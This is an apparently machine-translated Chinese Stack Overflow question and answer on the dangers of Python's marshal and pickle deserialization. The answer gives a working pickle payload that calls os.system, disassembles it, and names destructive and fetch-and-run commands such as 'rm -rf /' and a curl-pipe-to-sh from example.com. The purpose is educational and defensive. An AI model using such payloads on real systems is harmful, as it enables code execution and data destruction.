元帅反序列化 - 不安全

Mil*_*ano 8 python warnings marshalling

我在一个项目上工作,我用它cPickle来快速加载文件.几天前,我读到的内容marshal甚至比它快cPickle.它适用于我,但我很好奇,文档中的这个警告是什么:

警告

marshal模块不是为了防止错误或恶意构造的数据.永远不要从不受信任或未经身份验证的来源解组数据.

如果我不小心,会发生什么?

Mar*_*oij 9

元帅

没有已知的方法可以利用marshal.实际上在使用时执行代码marshal.loads()不是我能够做的事情,并且查看 marhal.c源代码,我没有看到一个明显的方法.

那为什么这个警告呢?BDFL解释说:

顺便说一下,关于编组的警告是合法的 - 解密编组数据的C代码没有仔细分析缓冲区溢出等等.还记得第一次有人通过恶意JPEG进入系统吗?元帅也可能发生同样的事情.认真.

我建议你阅读剩下的讨论内容; 显示一个错误,其中解组数据导致Python出现段错误; 自Python 2.5以来已经修复了这个问题(这个bug可能会被滥用来执行代码).但是其他错误可能 仍然存在!

此外,marshal文件提到:

这不是一般的"持久性"模块.[..] marshal模块主要用于支持读取和编写.pyc文件的Python模块的"伪编译"代码.

因此,它甚至不能以可靠的方式保存数据.

泡菜

您可以轻松地执行任意代码pickle.例如:

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin   data  download  home  lib64       mnt  proc  run   srv  tmp     usr      var
boot  dev   etc       lib   lost+found  opt  root  sbin  sys  ubuntu  vagrant
0
Run Code Online (Sandbox Code Playgroud)

这是无害的ls /,但也可能是一种不那么无害的rm -rf /,或者是无害的 curl http://example.com/hack.sh | sh.

您可以使用该pickletools模块查看其工作原理:

>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls /'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP
Run Code Online (Sandbox Code Playgroud)

pickle.py 对这些操作码的含义有一些评论:

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args 
MARK           = b'('   # push special markobject on stack
STRING         = b'S'   # push string; NL-terminated string argument
TUPLE          = b't'   # build tuple from topmost stack items
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STOP           = b'.'   # every pickle ends with STOP
Run Code Online (Sandbox Code Playgroud)

大多数是不言自明的; 与GLOBAL你一起可以获得任何功能,并与REDUCE你一起调用它.

由于Python非常动态,您也可以使用它在运行时对程序进行猴子修补.例如,您可以check_password使用将密码上载到服务器的功能更改功能.

什么安全的?

XML,json,MessagePack,ini文件,或者其他东西.这取决于您的情况下哪种格式最好.

这段代码是否"经过仔细分析,以防止缓冲区溢出等"?谁知道.大多数代码都没有,C使得做错事变得容易.1 即使Python代码也可能容易受到攻击,因为它可能会调用C中实现的易受攻击的函数.

目前已与Python的JSON模块的问题.但与此同时,它在面向公众的应用程序中使用了很多,所以它可能是安全的.它肯定比安全更安全marshal,因为它只是为.pyc文件而设计,并明确附带"未经审核!" 警告.

这当然不能保证.请记住,几年前YAML安全漏洞导致世界上每个Ruby on Rails应用程序都容易受到任意代码执行的攻击.哎呀!这甚至不是一个微妙的缓冲区溢出,而是一个更明显的问题.

请注意,您应使用YAMLload()方法,因为这有同样的问题Ruby的YAML.请safe_load()改用.

结论

pickle模块中的警告是非常有必要的(它可能应该说得更强),而marshal模块上方的警告似乎更像是" 这个代码并没有考虑安全性 " - 警告类型,但实际上是利用它并不容易,并依赖于未知错误的假设存在.不过,你可能最好还是使用别的东西.


1确实应该对开源项目进行"仔细分析缓冲区溢出等"的信任印章.是的,您可以通过Veracode等方式支付大笔资金并分析您的代码,但这对于开源项目来说是不可行的.有一些努力OpenSSL的心脏出血漏洞clusterfuck几年前的形式后,要做到这一点的核心基础设施倡议,但它的范围和预算都相当有限(但它是相当年轻,在短短几年内可能获得牵引力).